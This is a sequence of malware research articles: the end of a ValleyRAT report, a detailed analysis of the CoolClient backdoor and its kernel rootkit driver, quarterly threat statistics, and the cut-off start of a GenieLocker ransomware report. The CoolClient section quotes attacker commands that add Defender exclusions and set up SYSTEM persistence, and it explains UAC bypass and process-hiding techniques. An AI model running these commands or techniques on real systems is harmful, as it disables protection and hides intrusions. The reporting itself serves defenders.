Let’s take a closer look at the module-loading functionality. Upon receiving the corresponding command with a link from its operator, the backdoor downloads the file at that link and executes it. The download can come from either the C2 server or a third-party address.

The DownloadPeFile function is responsible for downloading a PE file

The DownloadAndExecute function calls DownloadPeFile, then launches the downloaded module

Additional modules can take the form of purpose-built dynamic libraries or shellcode. If the payload is shellcode, the backdoor uses process hollowing with svchost to launch the module.

Implementation of the process hollowing technique

If the module is a dynamic library, the backdoor loads the PE file into its own process, calls DllMain, and searches for a Main function among the exported functions. Once Main has been called, the library is unloaded from memory.

Calling DllMain after the backdoor loads the PE file

Targets and attribution

Over the course of 2026, we detected the ValleyRAT backdoor and its associated malware more than 100,000 times, with more than 1500 unique users affected, primarily in China and India.

This attack geography, combined with the use of the ValleyRAT backdoor, points to Silver Fox, a known operator of this malware family, as the likely group behind the campaign.

Conclusion

This case is a clear example of how adware and affiliate networks can turn out to be far more dangerous than they appear. ValleyRAT is a sophisticated backdoor capable of collecting sensitive data such as keystrokes and clipboard contents, taking screenshots, and delivering additional malicious modules. The attackers exploited a well-known adware application to run the backdoor under the guise of a signed process, which complicates detection.

Motivated by both cyberespionage and financial gain, Silver Fox targets organizations across multiple countries. To stay protected, organizations should keep employee cybersecurity awareness up to date and enforce clear policies on the use of third-party software on work devices.

For individual users, we recommend avoiding the installation of software with a questionable reputation, and, even more importantly, never adding such software to your security solutions’ exclusion lists.

IoC

MD5

07ddbbe2c71c45577a7a4fbcdba0df91
c24e99f9437feacaa63766a3cde3fe3d
8a626d844943da3456b044f38deae3a2

Network

103.45.66.18:441
103.45.66.18:442
103.45.66.18:443
192.253.225.173:6666
192.253.225.173:8888

Introduction

CoolClient is a backdoor family attributed to the HoneyMyte APT group (also known as Mustang Panda) that has been used in their cyber-espionage campaigns targeting organizations across Asia and Russia. It supports such capabilities as keylogging, clipboard theft, credential harvesting, file management, system reconnaissance, and plugin-based extensions.

Since its first public disclosure by Sophos in 2022 and subsequent analysis by Trend Micro in 2023, CoolClient has continued to evolve. In 2025, we analyzed a newer variant that introduced clipboard theft and HTTP traffic interception for credential harvesting.

In late 2025 and 2026, our latest investigation reveal another major evolution. The newest CoolClient variant can deploy a signed kernel-mode driver as a Windows service and communicate with it through IOCTL requests. The driver enhances the malware’s stealth by hiding the CoolClient process, protecting related files and registry entries, and preventing them from being inspected or modified. The overall design is comparable to the kernel-mode enhancements previously observed in ToneShell, but the CoolClient driver exposes dedicated IOCTL handlers that allow the user-mode backdoor to communicate directly with the driver.

We have observed this updated CoolClient variant and its accompanying driver in intrusions across multiple countries in Asia, including Pakistan, Mongolia, and Myanmar.

Technical analysis

In the observed campaign targeting Myanmar, HoneyMyte used PlugX as the initial post-compromise implant to deploy the CoolClient components. Before deploying the malware, the actor added both a folder exclusion and a file exclusion to Microsoft Defender for the fake Windows Defender installation directory and the renamed sideloader executable (defender.exe).

wmic /Node:localhost /Namespace:\\Root\Microsoft\Windows\Defender Path MSFT_MpPreference call Add ExclusionPath="$programfiles\Microsoft\Windows Defender"
wmic /Node:localhost /Namespace:\\Root\Microsoft\Windows\Defender Path MSFT_MpPreference call Add ExclusionPath="$programfiles\Microsoft\Windows Defender\defender.exe"

The actor then created a fake Windows Defender installation directory, copied the CoolClient components into it, and renamed a legitimate Sangfor executable, usually named Sang.exe, to defender.exe to serve as the DLL sideloader.

xcopy "$programfiles\Windows Defender\*" "$programfiles\Microsoft\Windows Defender" /a /s /v /e /f

Persistence was established through a scheduled task that launched defender.exe with SYSTEM privileges during system startup.

schtasks /create /sc onstart /tn "\Microsoft\Windows\Windows Defender Advanced Threat Protection Service" /tr "\"$programfiles\Microsoft\Windows Defender\defender.exe\"" /ru "system" /F

When executed, defender.exe sideloads the malicious libngs.dll, initiating the CoolClient execution chain described in the following sections.

CoolClient components

Similar to previous variants, the latest CoolClient user-mode component follows a multi-stage execution chain, with each component performing a distinct role during execution.

Our previous CoolClient analysis focused primarily on the final-stage implant (main.dat), including its backdoor commands and plugin framework, while the first-stage loader (libngs.dll) and second-stage component (loader.dat) received only a brief overview. In the latest variant CoolClient, loader.dat and main.dat have been renamed to loadcert.ini and cert.ini, respectively. This article revisits those earlier stages, focusing on the second-stage component and the newly introduced kernel-mode driver that extends CoolClient with rootkit capabilities.

Overview of the new variant of CoolClient

First stage: libngs.dll

Execution begins when the legitimate Sangfor application (defender.exe or Sang.exe) loads the malicious libngs.dll through DLL sideloading. As in previous CoolClient variants, the malware continues to abuse the same Sangfor application to execute its first-stage loader.

To make the DLL appear legitimate, libngs.dll exports numerous dummy functions. Each export simply calls OutputDebugStringA with its corresponding function name before immediately invoking ExitProcess, serving no functional purpose other than mimicking the expected export table of the legitimate DLL.

Dummy export functions in libngs.dll invoking OutputDebugStringA and ExitProcess

The actual malicious logic is executed from DllMain (DllEntryPoint). Although heavily obfuscated through control flow flattening and numerous unconditional jumps, the routine ultimately performs a straightforward task: loading, decrypting, and executing the encrypted second-stage DLL, loadcert.ini.

The loader resolves the required Windows APIs, reads loadcert.ini into memory, and decrypts it using a 0x32-byte repeating XOR keystream derived from a transformed seed value of 0xA4. After decryption, the DLL is loaded directly into memory, and execution is transferred to loadcert.ini.

Second stage: loadcert.ini (before synchost.exe injection)

The second-stage DLL, loadcert.ini, is responsible for preparing the execution environment before the malware transitions into its injected process. It first determines its execution context by checking whether the current module is synchost.exe.

If the DLL is running under the original sideloaded process (for example, Sang.exe), it performs the initial setup, including persistence, UAC bypass, registry modifications, and process injection.

If the DLL is already executing inside synchost.exe, it follows a different execution path that decrypts time.ini, deploys the kernel-mode driver, and loads the final-stage implant (cert.ini).

Command handler

The command handler remains largely unchanged from previous CoolClient variants, with one notable difference: the malware now injects into synchost.exe instead of write.exe.

Execution is controlled through three command-line parameters:

If no parameter is supplied, the malware creates a new Sang.exe process with the install parameter using CreateProcessW.

Establishing AutoRun persistence

When executed with the install parameter, CoolClient creates an AutoRun entry under:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

The registry value, named goopdate, launches Sang.exe (or defender.exe, depending on the deployment) with the work parameter whenever the user logs on.

Process injection into synchost.exe

Upon establishing the AutoRun registry entry, CoolClient decrypts loadcert.ini using a 0x32-byte repeating XOR keystream derived from the hardcoded base key 0x4D.

The decrypted DLL is then injected into a newly created suspended instance of synchost.exe. The malware allocates memory in the target process, writes the decrypted payload, redirects the thread context to the injected code, resumes execution, and finally terminates the original process with ExitProcess.

From this point onward, execution continues entirely within synchost.exe, where the malware proceeds with kernel-mode driver deployment before loading the final-stage implant (cert.ini).

Service installation

When executed with the install parameter, CoolClient establishes an additional persistence mechanism by installing itself as a Windows service. Before doing so, it verifies that it has sufficient access to the Service Control Manager and that no 360 Total Security software processes (360sd.exe, zhudongfangyu.exe, or 360desktopservice64.exe) are running.

Function to check for running 360 Total Security software processes

If both checks succeed, the malware decrypts time.ini to retrieve the service configuration, including the service name and description. It then checks whether the service media_updaten already exists. If found, the existing service is stopped and deleted before a new one is created.

The new service is configured to execute Sang.exe<.code> with the work parameter using CreateServiceA. The malware then starts the service by executing "sc start media_updaten" via WinExec.

Administrator privilege check

If the service installation path is not taken, CoolClient checks whether the current process is running with administrator privileges by verifying membership in the local Administrators group.

When administrative privileges are available, the malware relaunches itself with the passuac parameter before continuing with the remaining execution flow.

Elevated relaunch and UAC bypass

To continue execution with elevated privileges while concealing its true parent process, CoolClient implements an RPC-based process creation technique similar to the method described by Google Project Zero. The technique combines RPC process creation with parent process ID (PPID) spoofing to launch a new elevated instance of itself.

The malware first checks for the presence of escanmon.exe. If the process is running, it constructs the path to C:\Windows\System32\winver.exe and establishes a connection to the local ncalrpc endpoint (201ef99a-7fa0-444c-9399-19ba84f12a1a). It then invokes NdrAsyncClientCall to launch winver.exe through the RPC interface.

Authenticated RPC binding used during the RPC-based UAC bypass

After winver.exe is created, CoolClient retrieves its debug object using NtQueryInformationProcess, detaches the debugger through NtRemoveProcessDebug, and terminates the process. The obtained debug object is later reused during the remainder of the UAC bypass routine.

Next, the malware repeats the same RPC-based process creation technique to launch computerdefaults.exe. It associates the previously obtained debug object with the current thread using DbgUiSetThreadDebugObject, waits for the resulting process creation event through WaitForDebugEvent, and duplicates the process handle using NtDuplicateObject, obtaining a handle with full access rights.

Finally, CoolClient relaunches itself as Sang.exe passuac using CreateProcessW with an extended startup attribute list. By configuring PROC_THREAD_ATTRIBUTE_PARENT_PROCESS through UpdateProcThreadAttribute, the duplicated process handle is assigned as the parent of the new process. As a result, the new Sang.exe passuac instance executes with an elevated context while appearing to have been spawned by the trusted Windows process instead of the original CoolClient process.

Second stage: loadcert.ini (Injected Execution)

After being injected into synchost.exe, loadcert.ini follows its injected execution path, where it deploys the kernel-mode driver and launches the final-stage implant (cert.ini). If administrative privileges are unavailable, the malware skips driver deployment and proceeds directly to the third-stage injection.

Kernel-Mode driver deployment

The deployment routine begins by decrypting time.ini. CoolClient then verifies that it has sufficient privileges to install a kernel-mode driver by checking for full access to the Service Control Manager (SCM) and the presence of SeTcbPrivilege.

If both conditions are met, CoolClient extracts an embedded LZMA-compressed driver from loadcert.ini, decompresses it, and writes it to disk as msagent.sys in the same directory as cert.ini, for example:

C:\Program Files\Microsoft\Windows Defender\msagent.sys

Next, the malware checks whether a service named msagent already exists. If present, the existing service is stopped and deleted before a new driver service is created and started, loading the kernel-mode component into the operating system.

Driver initialization

After the driver is loaded, CoolClient establishes communication with it by opening the device \\.\msagent using CreateFileW. The user-mode component then initializes the driver by issuing three DeviceIoControl requests.

The first request (0x222120) registers the current CoolClient process as a trusted process within the driver. The request includes the process ID, an operation code, and a flag that marks the process as trusted, allowing it to interact with protected files, registry keys, and processes.

The second request (0x2221E0) passes the configured C2 IPv4 address extracted from time.ini.

Finally, 0x2220F0 registers the CoolClient installation directory (for example, C:\Program Files\Microsoft\Windows Defender\) together with the service registry path (\Registry\Machine\SYSTEM\CurrentControlSet\Services\media_updaten). These entries allow the driver to protect the malware’s files and registry objects from inspection, modification, and deletion.

As part of the initialization, CoolClient updates the HKLM\SYSTEM\RNG\Wid_H1deF5Dirs registry value by appending its installation directory if it is not already present. This registry value is later used by the driver when applying its hiding and protection mechanisms.

The implementation of these IOCTL handlers and the corresponding driver functionality are discussed in the msagent.sys section.

Cert.ini process injection

Once the driver has been initialized, CoolClient proceeds to launch the final-stage implant (cert.ini). Before creating the target process, the malware enumerates active WinStation sessions to identify a suitable interactive user session.

After selecting a session, CoolClient duplicates its access token, updates the session identifier, and creates a new synchost.exe process using CreateProcessAsUserA. The decrypted cert.ini DLL is then injected into the suspended process using the same memory allocation, thread context modification, and ResumeThread technique described earlier.

This marks the final transition in the execution chain, where the third-stage implant takes over C2 communication and the remaining backdoor functionality.

Msagent.sys driver

Analysis of the deployed kernel-mode driver reveals an embedded PDB path:

PDB Path

E:\work\南京实验室\2024项目\张雪杰云南m\研发\FTool\Tool\x64\Release\FTool.pdb

The driver is digitally signed with a certificate issued to "Nanjing Ranyi Technology Co., Ltd.", with serial number 3E 62 DC 5D 8D 61 2A 26 33 E7 6B DF D6 07 19 DD. The certificate was valid from August 2013 to September 2014.

We identified several older malicious drivers signed with the same certificate that were compiled around 2013. However, we found no evidence directly linking those samples to the CoolClient activity described in this article.

Driver configuration

During initialization, the driver loads its stealth configuration from the registry key \REGISTRY\MACHINE\SYSTEM\RNG. The configuration defines which system objects should be hidden or protected and controls the driver’s operating mode.

Registry configuration loaded by the driver during initialization

Two REG_DWORD values control the driver’s operating mode:

In addition, the driver loads several REG_MULTI_SZ values that define the objects to be hidden or protected.

Together, these registry values determine which filesystem paths, registry objects, and processes are managed by the driver’s protection mechanisms.
After loading the configuration, the driver converts the registry entries into internal lookup structures that are shared across its various protection components.

These structures are later referenced by the filesystem minifilter, registry callback, process callback, object callback, image load callback, and IOCTL handlers to determine whether a file, registry object, or process should be hidden, protected, or ignored.

Preparation for process hiding

Next, the driver dynamically locates the ActiveProcessLinks (LIST_ENTRY) field within the EPROCESS structure instead of relying on hardcoded offsets. It first validates several predefined offsets and, if none match, performs a linear scan of the EPROCESS structure to identify the correct location. This approach allows the driver to remain compatible across different Windows versions, where the layout of EPROCESS may differ.

The driver validates candidate ActiveProcessLinks layouts before enabling process hiding

Once the correct offset has been identified, it is stored for later use by the process hiding routines. During process hiding and restoration, the driver uses IOCTLs 0x22219C and 0x2221A0 to unlink and relink entries in the Windows active process list, effectively hiding or restoring processes on demand.

Process, object, and image load callbacks

After preparing its process tracking structures, the driver initializes several AVL trees and populates them with configuration entries loaded from the registry, including Wid_H1deF5Dirs, Wid_H1deF5Files, Wid_H1deRegKeys, Wid_H1deRegValues, Hid_IgnoredImages, Hid_ProtectedImages, and Hid_HideImages.

These AVL trees provide efficient lookups for protected files, registry objects, and tracked processes, and are shared by the callback routines and IOCTL handlers.
The driver then registers three types of kernel callbacks that form the foundation of its protection and monitoring mechanisms:

• Object callbacks using ObRegisterCallbacks
• Process creation and termination callbacks using PsSetCreateProcessNotifyRoutineEx
• Image load callbacks using PsSetLoadImageNotifyRoutine

Registration of object, process, and image load callbacks during driver initialization

After registration, these callbacks maintain the driver’s internal tracking structures as processes, threads, and images are created or loaded.

Object callbacks

To protect selected processes, the driver registers object callbacks for process (PsProcessType) and thread (PsThreadType) objects using ObRegisterCallbacks with an altitude of 1203. These callbacks intercept requests to open process and thread handles. If the target process is protected, the driver reduces the access rights granted to the requesting process, preventing operations such as process termination, code injection, and other forms of process manipulation. In this sample, the protected process is the injected CoolClient code running inside synchost.exe.

Process and image load callbacks

The driver registers process creation and termination callbacks using PsSetCreateProcessNotifyRoutineEx, together with an image load callback via PsSetLoadImageNotifyRoutine.

When a process is created, its image name is compared against the configuration lists Hid_IgnoredImages, Hid_ProtectedImages, and Hid_HideImages. Matching processes are added to the driver’s internal tracking structures, allowing them to be protected, hidden, or managed through subsequent IOCTL requests. When a tracked process terminates, its entry is removed from the tracking structures.

The image load callback monitors modules loaded into tracked processes and updates the driver’s internal state to support subsequent protection and hiding operations.

To ensure that processes already running before the driver is initialized are also tracked, the driver performs a one-time enumeration of all active processes after registering the callbacks and adds any matching processes to the tracking structures.

MiniFilter registration

To protect files and directories, the driver registers a filesystem minifilter. During initialization, it creates internal path filter lists, loads the configured directory and file entries (Wid_H1deF5Dirs and Wid_H1deF5Files), and creates the required minifilter registry entries under HKLM\SYSTEM\CurrentControlSet\Services\msagent\Instances. To avoid altitude conflicts, the driver dynamically assigns a filter altitude and retries registration until a unique value is obtained.

Retrying minifilter registration with incrementing filter altitude values until FltRegisterFilter succeeds

The driver then activates the minifilter using FltRegisterFilter. The filter works together with the IOCTL interface, which dynamically adds, removes, or clears protected path entries (0x2220F0, 0x2220F4, and 0x2220F8). During filesystem operations, the minifilter compares accessed paths against its internal path lists and denies access to matching entries, effectively hiding protected files and directories from users and applications.

Registry callback registration

To protect registry keys and values, the driver registers a registry callback using CmRegisterCallbackEx with an altitude of 320000. During initialization, it creates separate lookup structures for protected registry keys and values, then populates them using the configured entries from Wid_H1deRegKeys and Wid_H1deRegValues.

Registration of the registry callback using CmRegisterCallbackEx with an altitude of 320000

Once registered, the callback intercepts registry operations and compares the target key or value against the protected entries. For enumeration requests, matching keys and values are removed from the results before they are returned to user mode, effectively hiding them from registry viewers. For direct access requests, such as opening, modifying, or deleting protected registry objects, the callback returns STATUS_ACCESS_DENIED, preventing the operation.

Before applying these restrictions, the driver verifies whether the requesting process is trusted. Processes registered through IOCTL 0x222120, including the CoolClient user-mode component, bypass the filtering logic and retain unrestricted access, while all other processes remain subject to the driver’s registry protection rules.

IOCTL command dispatcher

To communicate with the user-mode component, the driver creates a device object named \Device\ToolTool together with the symbolic link \DosDevices\ToolTool to allow the user-mode CoolClient component to communicate with the driver through DeviceIoControl requests.

The driver implements 33 IOCTL handlers, although the analyzed CoolClient sample uses only three during normal execution:

• 0x222120: registers the current CoolClient process with the driver.
• 0x2221E0: passes the configured C2 IPv4 address.
• 0x2220F0: registers filesystem and registry paths for protection.

The remaining IOCTL handlers were not invoked by the analyzed sample.

After initializing the IOCTL dispatcher, the driver releases the temporary configuration buffer that was previously loaded from \REGISTRY\MACHINE\SYSTEM\RNG.

Kernel module enumeration and hiding

To support kernel module hiding, the driver resolves the address of the non-exported kernel variable PsLoadedModuleList at runtime using MmGetSystemRoutineAddress. This global linked list maintains information about all loaded kernel modules and drivers, allowing the rootkit to enumerate and manipulate module entries.

Driver initialization routine resolving the address of PsLoadedModuleList for subsequent kernel module hiding

This functionality is exposed through IOCTL 0x222138, which accepts a module name or path from the user-mode component. When a matching module is found, the driver locates the corresponding entry in PsLoadedModuleList and unlinks it by updating its Flink and Blink pointers. As a result, the hidden module no longer appears in standard kernel module enumeration routines.

Nsiproxy hooking and data filtering

The driver also hooks the Nsiproxy driver to filter network-related data returned to user mode. This functionality is connected to IOCTL 0x2221E0, which allows the user-mode component to register C2 IPv4 addresses with the driver.

To install the hook, the driver obtains a reference to \Driver\Nsiproxy using ObReferenceObjectByName and replaces one of the Nsiproxy handler pointers with its own filtering routine. The hook preserves the original handler and forwards execution after processing the returned data.

Installing the Nsiproxy hook by resolving \Driver\Nsiproxy and replacing the original handler with the driver’s filtering routine

When the hooked routine processes network information, the driver compares the returned entries against its registered C2 address list. Matching IP addresses are removed before the data is returned to user mode, preventing applications that rely on Nsiproxy-provided network information from seeing the malware’s C2 addresses.

Finally, the driver registers a DriverUnload routine to release allocated resources when the driver is unloaded.

Victimology

The latest CoolClient variant continues to target organizations consistent with previously observed HoneyMyte activity. Based on our investigations, we identified victims in Myanmar, Mongolia, Pakistan, and Russia, including confirmed government entities.

Across the observed intrusions, CoolClient was consistently deployed as a secondary backdoor following a PlugX infection, indicating that HoneyMyte continues to use PlugX as its initial post-compromise implant before transitioning to CoolClient.

Attribution

Our analysis confirms that the investigated malware is a new CoolClient variant associated with the HoneyMyte threat group. While the overall execution flow remains consistent with previously documented CoolClient variants, this sample introduces a previously undocumented kernel-mode driver that significantly expands the malware’s stealth capabilities.

The deployment chain observed in this investigation is also consistent with previous HoneyMyte campaigns, in which PlugX serves as the initial foothold before CoolClient is deployed as a secondary backdoor, further reinforcing the attribution.

Conclusion

The latest CoolClient variant represents a significant evolution of the malware. Rather than operating solely as a user-mode backdoor with plugin support, it now deploys and communicates with a kernel-mode driver that extends its capabilities beyond earlier versions. Through this driver, CoolClient can hide and protect processes, files, and registry objects, as well as filter selected network information, making detection and analysis considerably more difficult.

HoneyMyte has previously introduced kernel-mode functionality in ToneShell. The addition of a kernel-mode driver to CoolClient suggests that the group continues to expand its use of rootkit capabilities to improve stealth, persistence, and defense evasion during post-compromise operations.

IOCs

2d7c8780e97409770a9d4f31c66c9d63 msagent.sys
9460E150E1981D5C165043520C5C12FE msagent.sys
9717F005C5FB98E08D2AD983D88F94EE libngs.dll
F518D8E5FE70D9090F6280C68A95998F libngs.dll
EB79558B037669792652A816E2C669DE ctxmui.dll

C:\Program Files\microsoft\windows defender\
C:\Program Files\windows media player\mediares\
C:\ProgramData\symantecdir\
C:\ProgramData\virtualstore\
C:\Windows\identitycrl\production\
C:\Windows\serviceprofiles\networkservice\
C:\Users\<user>\AppData\Local\viber24.8\
C:\Users\<user>\AppData\Roaming\dsassistant\
C:\Program Files\common files\microsoft shared\office14\
C:\programdata\msdn\

cloudtroe.giize[.]com
employers.theworkpc[.]com
freeread.casacam[.]net
us.lenovoappstore[.]com
sundanish.freeddns[.]org
torinarlabs.webredirect[.]org
news.dursamjbataar[.]org
video.dursamjbataar[.]org
black-popular[.]com
whatismybestthing[.]com

IT threat evolution in Q2 2026. Non-mobile statistics
IT threat evolution in Q2 2026. Mobile statistics

The statistics in this report are based on detection verdicts returned by Kaspersky products unless otherwise stated. The information was provided by Kaspersky users who consented to sharing statistical data.

Quarterly figures

In Q2 2026:

• Kaspersky products blocked nearly 400 million attacks that originated with various online resources.
• Web Anti-Virus responded to 52 million unique links.
• File Anti-Virus blocked more than 16 million malicious and potentially unwanted objects.
• There were 2538 new ransomware variants discovered.
• More than 71,000 users experienced ransomware attacks.
• 15% of all ransomware victims whose data was published on threat actors’ data leak sites (DLS) were attacked by Qilin.
• More than 213,000 users were targeted by miners.

Ransomware

Quarterly trends and highlights

Threat actor disruption

Microsoft has dismantled an illicit malware-signing service used by ransomware operators. Microsoft’s Digital Crimes Unit has shut down a malware-signing-as-a-service (MSaaS) operation run by the threat group Fox Tempest. The illicit service abused the Microsoft Artifact Signing platform to generate digital signature certificates for malicious software. Malware signed by these certificates was observed in campaigns conducted by such ransomware groups as Rhysida, Akira, INC, Qilin, and BlackByte. The service was also leveraged by operators of the Oyster loader as well as the Lumma and Vidar infostealers. To disrupt the operation, Microsoft seized the domain used by the MSaaS platform, revoked all associated certificates, and disabled the related accounts. Additionally, the company filed a lawsuit against Fox Tempest.

Vulnerabilities and attacks

CISA has confirmed that a Windows vulnerability known as BlueHammer is actively being exploited in ransomware attacks. On April 22, the agency updated its Known Exploited Vulnerabilities (KEV) catalog to note the ongoing ransomware exploitation of CVE-2026-33825. The local privilege escalation flaw in Microsoft Defender was originally disclosed earlier in April. Although Microsoft released a fix on April 14, unpatched systems remain vulnerable. CISA did not disclose further details or attribute the attacks to specific threat groups.

Check Point has linked zero-day exploitation of CVE-2026-50751 to the Qilin ransomware group. The critical vulnerability affects Check Point Remote Access VPN and Mobile Access. Attackers began exploiting the flaw as a zero-day on May 7, with activity spiking sharply in early June. While several dozen organizations have been targeted, at least one incident has been definitively tied to Qilin. Check Point also disclosed a related certificate validation flaw (CVE-2026-50752) that affects site-to-site VPN connections relying on the legacy IKEv1 key exchange protocol.

Researchers assess with high confidence that the PayoutsKing group is leveraging the legitimate QEMU emulator to deploy hidden, Alpine Linux-based virtual machines on compromised hosts. Because security solutions often lack visibility inside virtualized environments, the threat actors use this technique to evade detection. Inside the VM image, the operators deploy various tools — such as credential theft software — and configure the virtual machine as a backdoor managed via a reverse SSH tunnel to their command-and-control infrastructure. While the technique is not new, and we’ve detailed it before, it remains relatively rare in ransomware attacks.

The most prolific groups

This section highlights the most prolific ransomware gangs by number of victims added to each group’s DLS. Qilin reclaimed the top spot (accounting for 14.57% of total listings) after placing second last quarter. It is followed by the Akira ransomware (7.80%) and the DragonForce RaaS group (6.88%).

Number of each group’s victims according to its DLS as a percentage of all groups’ victims published on all the DLSs under review during the reporting period (download)

Number of new ransomware variants

In Q2, Kaspersky solutions detected four new ransomware families and 2538 new modifications. This signals a continued stabilization following spikes seen in Q1 and Q4 of last year.

Number of new ransomware modifications, Q2 2025 — Q2 2026 (download)

Number of users attacked by ransomware Trojans

Our solutions protected a total of 71,860 unique users from ransomware during Q2. Ransomware activity peaked in April, with 31,206 targeted users recorded during that month.

Number of unique users attacked by ransomware Trojans, Q2 2026 (download)

TOP 10 countries and territories attacked by ransomware Trojans

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country/territory.

TOP 10 most common families of ransomware Trojans

* Unique Kaspersky users attacked by the specific ransomware Trojan family as a percentage of all unique users attacked by this type of threat.

Miners

Number of new miner variants

In Q2 2026, Kaspersky solutions detected 6067 new miner variants, almost twice the number for the previous reporting period.

Number of new miner modifications, Q2 2026 (download)

Number of users attacked by miners

In Q2, we detected attacks using miner programs on the computers of 213,003 unique Kaspersky users worldwide.

Number of unique users attacked by miners, Q2 2026 (download)

TOP 10 countries and territories attacked by miners

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country/territory.

Attacks on macOS

Quarterly highlights

In April, Aikido researchers reported a new attack by the GlassWorm stealer, which was distributed via malicious IDE extensions on the Open VSX Registry. The payload operated by installing a secondary malicious extension across all installed IDE environments on the host machine. Ultimately, this second-stage implant exfiltrated crypto wallet data, environment variables, and other secrets. It also installed a RAT on the infected device.

In May, Socket researchers uncovered a supply chain compromise involving the popular npm package art-template. As a result of the breach, the weaponized package injected the Coruna exploit kit into web applications it was used to build. Coruna targets iOS devices.

In June, Palo Alto Networks’ Unit 42 discovered FlutterShell, a new backdoor family that targets macOS devices. Developed with the Flutter framework, the malware leverages the WebView engine to load web pages that contain malicious JavaScript. On the client side, the backdoor registers bridge functions invoked by the loaded JavaScript that allow threat actors to execute arbitrary payloads on the victim’s device. Notably, the malicious applications successfully passed Apple notarization. Although the specific samples analyzed functioned primarily as adware, the underlying architecture permits the delivery of far more sophisticated malicious payloads.

TOP 20 threats to macOS

* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky security solutions for macOS (download)

* Data for the previous quarter may differ slightly from previously published data due to some verdicts being retrospectively revised.

Detections of PasivRobber spyware continued their downward trend. Meanwhile, adware and traffic-routing utilities (categorized as NetTool) rose to the top of the rankings. Additionally, Q2 saw a noticeable spike in detections for the DirtyCow exploit frequently leveraged for iPhone jailbreaking.

TOP 10 countries and territories by share of attacked users

* Unique users who encountered threats to macOS as a percentage of all unique Kaspersky users in the country/territory.

IoT threat statistics

This section presents statistics on attacks targeting Kaspersky IoT honeypots. The geographic data on attack sources is based on the IP addresses of attacking devices.

In Q2 2026, the breakdown of attacking devices and sessions that targeted Kaspersky honeypots by protocol was as follows:

Distribution of attacked services by number of unique IP addresses of attacking devices (download)

The share of SSH attacks saw a slight uptick compared to the previous quarter.

Distribution of cybercriminal sessions in Kaspersky honeypots (download)

TOP 10 threats delivered to IoT devices

Share of each threat delivered to an infected device as a result of a successful attack, out of the total number of threats delivered (download)

As is typically the case, Mirai botnet variants continue to dominate the IoT threat landscape. Activity of another prominent botnet, Prometei, also saw an increase.

Attacks on IoT honeypots

the Netherlands, Germany, and The United States accounted for the highest proportions of SSH-based attacks during this period. While the top three countries remained the same as last quarter, their relative rankings shifted.

The percentage of Telnet-based attacks originating from Pakistan continued to climb, knocking China down to second place.

Attacks via web resources

The statistics in this section are based on detection verdicts by Web Anti-Virus, which protects users when suspicious objects are downloaded from malicious or infected web pages. These malicious pages are purposefully created by cybercriminals. Websites that host user-generated content, such as message boards, as well as compromised legitimate sites, can become infected.

TOP 10 countries and territories that served as sources of web-based attacks

The following statistics show the distribution by country/territory of the sources of internet attacks blocked by Kaspersky products on user computers (web pages redirecting to exploits, sites containing exploits and other malware, botnet C&C centers, and so on). One or more web-based attacks could originate from each unique host.

To determine the geographic source of web attacks, we matched the domain name with the real IP address where the domain is hosted, then identified the geographic location of that IP address (GeoIP).

In Q2 2026, Kaspersky solutions blocked 399,312,961 attacks launched from internet resources worldwide. Web Anti-Virus was triggered by 52,850,592 unique URLs.

Web-based attacks by country/territory, Q1 2026 (download)

Countries and territories where users faced the greatest risk of online infection

To assess the risk of malware infection via the internet for users’ computers in different countries and territories, we calculated the share of Kaspersky users in each location on whose computers Web Anti-Virus was triggered during the reporting period. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.

This ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky product users.
** Unique users targeted by web-based Malware attacks as a percentage of all unique users of Kaspersky products in the country/territory.

On average during the quarter, 4.54% of users’ computers worldwide were subjected to at least one Malware web attack.

Local threats

Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer by infecting files or removable media, or initially made their way onto the computer in non-open form. Examples of the latter are programs in complex installers and encrypted files.

Data in this section is based on analyzing statistics produced by anti-virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media. The statistics are based on detection verdicts from the On-Access Scan (OAS) and On-Demand Scan (ODS) modules of File Anti-Virus and include detections of malicious programs located on user computers or removable media connected to the computers, such as flash drives, camera memory cards, phones, or external hard drives.

In Q2 2026, our File Anti-Virus detected 16,986,351 malicious and potentially unwanted objects.

Countries and territories where users faced the highest risk of local infection

For each country and territory, we calculated the percentage of Kaspersky users whose computers had the File Anti-Virus triggered at least once during the reporting period. These statistics reflect the level of personal computer infection in different countries.

Note that this ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out File Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users on whose computers Malware local threats were blocked, as a percentage of all unique users of Kaspersky products in the country/territory.

On average worldwide, Malware local threats were detected at least once on 10.93% of users’ computers during Q2.

Russia scored 10.78% in these rankings.

Introduction

The new GenieLocker ransomware family has been active since March 2026. It has been used in attacks against organizations in the Russian Federation, primarily in the manufacturing sector, and attributed to the Toy Ghouls group by open-source intelligence (link in Russian).

The Toy Ghouls, also known as Bearlyfy, Labubu and Laboo.boo, is a financially motivated extortion group, which previously relied on third-party encryption Trojans like RedAlert, LockBit, and Babuk. GenieLocker, apparently a custom design, upgrades their toolkit and reduces their reliance on third-party software. We discovered multiple samples of this Trojan in two variants: PE builds for Windows and ELF builds for Linux and ESXi.

Technical details

Modus operandi

We described typical TTPs and modus operandi of the Toy Ghouls threat actor in the previous post (link in Russian).

In this article, we aim to thoroughly describe the capabilities of Windows and Linux builds of the custom encryption Trojan GenieLocker. To give more context, we will also provide a brief overview of the attack that took place at the end of March 2026, where GenieLocker was deployed on the victim’s systems.

Initial Access

During the incident, the attackers first entered the environment through an OpenVPN connection originating from an external partner’s network. They likely exploited the trusted relationship with that partner and used stolen, yet still valid, credentials to connect.

Discovery and Credential Access

After breaching the target’s network, the attackers installed additional tools on the compromised hosts, including OpenSSH, socks5.exe, SoftPerfect Network Scanner, and Mimikatz. They employed SoftPerfect Network Scanner for discovery and used Mimikatz to dump credentials. Forensic analysis also shows that they accessed the KeePassXC password manager already installed on several compromised machines, likely attempting to extract the stored credentials from the KeePass databases.

Lateral Movement and Command and Control

